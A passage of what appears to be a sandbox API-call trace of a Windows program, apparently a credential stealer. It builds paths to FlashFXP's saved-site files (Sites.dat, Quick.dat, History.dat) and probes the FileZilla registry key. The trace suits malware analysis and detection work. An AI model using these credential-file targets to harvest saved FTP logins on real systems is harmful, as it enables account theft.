lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0068.401] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\Quick.dat") returned="C:\\ProgramData\\FlashFXP\\3\\Quick.dat" [0068.401] LocalFree (hMem=0x641518) returned 0x0 [0068.401] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0068.401] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x629248 [0068.401] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Quick.dat", lpDst=0x629248, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\Quick.dat") returned 0x24 [0068.401] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\programdata\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.401] LocalFree (hMem=0x629248) returned 0x0 [0068.401] LocalFree (hMem=0x6292f8) returned 0x0 [0068.401] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.401] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.401] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x641518 [0068.401] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.401] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0068.401] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0068.401] lstrlenA (lpString="\\Quick.dat") returned 10 [0068.401] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.401] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0068.401] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\Quick.dat") returned="C:\\ProgramData\\FlashFXP\\4\\Quick.dat" [0068.401] LocalFree (hMem=0x641518) returned 0x0 [0068.401] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0068.401] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x629248 [0068.401] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Quick.dat", lpDst=0x629248, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\Quick.dat") returned 0x24 [0068.401] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\programdata\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.401] LocalFree (hMem=0x629248) returned 0x0 [0068.401] LocalFree (hMem=0x6292f8) returned 0x0 [0068.401] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.401] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.401] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x641518 [0068.401] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.401] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0068.401] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0068.401] lstrlenA (lpString="\\History.dat") returned 12 [0068.401] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6292f8 [0068.401] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0068.401] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\History.dat") returned="C:\\ProgramData\\FlashFXP\\3\\History.dat" [0068.401] LocalFree (hMem=0x641518) returned 0x0 [0068.401] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0068.401] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0068.401] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\History.dat", lpDst=0x629248, nSize=0x27 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\History.dat") returned 0x26 [0068.402] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\History.dat" (normalized: "c:\\programdata\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.402] LocalFree (hMem=0x629248) returned 0x0 [0068.402] LocalFree (hMem=0x6292f8) returned 0x0 [0068.402] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.402] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.402] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x641518 [0068.402] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.402] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0068.402] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0068.402] lstrlenA (lpString="\\History.dat") returned 12 [0068.402] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6292f8 [0068.402] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0068.402] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\History.dat") returned="C:\\ProgramData\\FlashFXP\\4\\History.dat" [0068.402] LocalFree (hMem=0x641518) returned 0x0 [0068.402] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0068.402] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0068.402] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\History.dat", lpDst=0x629248, nSize=0x27 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\History.dat") returned 0x26 [0068.402] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\History.dat" (normalized: "c:\\programdata\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.402] LocalFree (hMem=0x629248) returned 0x0 [0068.402] LocalFree (hMem=0x6292f8) returned 0x0 [0068.402] LocalFree (hMem=0x626a88) returned 0x0 [0068.402] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.402] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.402] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.402] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.402] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.402] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.402] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" [0068.402] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned 41 [0068.402] lstrlenA (lpString="\\Sites.dat") returned 10 [0068.402] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x6415d0 [0068.402] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" [0068.402] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Sites.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Sites.dat" [0068.402] LocalFree (hMem=0x641518) returned 0x0 [0068.402] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x35 [0068.402] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x642690 [0068.402] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Sites.dat", lpDst=0x642690, nSize=0x35 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Sites.dat") returned 0x34 [0068.402] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.402] LocalFree (hMem=0x642690) returned 0x0 [0068.402] LocalFree (hMem=0x6415d0) returned 0x0 [0068.402] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.402] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.402] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.403] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.403] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" [0068.403] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned 41 [0068.403] lstrlenA (lpString="\\Sites.dat") returned 10 [0068.403] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x6415d0 [0068.403] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" [0068.403] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Sites.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Sites.dat" [0068.403] LocalFree (hMem=0x641518) returned 0x0 [0068.403] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x35 [0068.403] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x642690 [0068.403] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Sites.dat", lpDst=0x642690, nSize=0x35 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Sites.dat") returned 0x34 [0068.403] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.403] LocalFree (hMem=0x642690) returned 0x0 [0068.403] LocalFree (hMem=0x6415d0) returned 0x0 [0068.403] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.403] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.403] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.403] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.403] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" [0068.403] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned 41 [0068.403] lstrlenA (lpString="\\Quick.dat") returned 10 [0068.403] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x6415d0 [0068.403] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" [0068.403] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Quick.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Quick.dat" [0068.403] LocalFree (hMem=0x641518) returned 0x0 [0068.403] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x35 [0068.403] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x642690 [0068.403] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Quick.dat", lpDst=0x642690, nSize=0x35 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Quick.dat") returned 0x34 [0068.403] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.403] LocalFree (hMem=0x642690) returned 0x0 [0068.403] LocalFree (hMem=0x6415d0) returned 0x0 [0068.403] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.403] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.403] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.403] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.403] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" [0068.403] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned 41 [0068.403] lstrlenA (lpString="\\Quick.dat") returned 10 [0068.403] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x6415d0 [0068.403] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" [0068.403] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Quick.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Quick.dat" [0068.403] LocalFree (hMem=0x641518) returned 0x0 [0068.403] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x35 [0068.403] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x642690 [0068.403] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Quick.dat", lpDst=0x642690, nSize=0x35 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Quick.dat") returned 0x34 [0068.403] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.404] LocalFree (hMem=0x642690) returned 0x0 [0068.404] LocalFree (hMem=0x6415d0) returned 0x0 [0068.404] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.404] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0068.404] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.404] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.404] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" [0068.404] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned 41 [0068.404] lstrlenA (lpString="\\History.dat") returned 12 [0068.404] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x6415d0 [0068.404] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3" [0068.404] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\History.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\History.dat" [0068.404] LocalFree (hMem=0x641518) returned 0x0 [0068.404] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x37 [0068.404] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x642690 [0068.404] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\History.dat", lpDst=0x642690, nSize=0x37 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\History.dat") returned 0x36 [0068.404] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\3\\History.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.404] LocalFree (hMem=0x642690) returned 0x0 [0068.404] LocalFree (hMem=0x6415d0) returned 0x0 [0068.404] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.404] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0068.404] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.404] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.404] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" [0068.404] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned 41 [0068.404] lstrlenA (lpString="\\History.dat") returned 12 [0068.404] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x6415d0 [0068.404] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4" [0068.404] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\History.dat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\History.dat" [0068.404] LocalFree (hMem=0x641518) returned 0x0 [0068.404] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x37 [0068.404] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x642690 [0068.404] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\History.dat", lpDst=0x642690, nSize=0x37 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\History.dat") returned 0x36 [0068.404] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FlashFXP\\4\\History.dat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.404] LocalFree (hMem=0x642690) returned 0x0 [0068.404] LocalFree (hMem=0x6415d0) returned 0x0 [0068.404] LocalFree (hMem=0x626a88) returned 0x0 [0068.404] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.405] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.405] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.405] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.405] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.405] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.405] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.405] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.405] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.405] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.405] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x6, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.405] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12f5f0 | out: phkResult=0x12f5f0*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f648 | out: phkResult=0x12f648*=0x0) returned 0x2 [0068.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FileZilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12f61c | out: phkResult=0x12f61c*=0x0) returned 0x2 [0068.405] 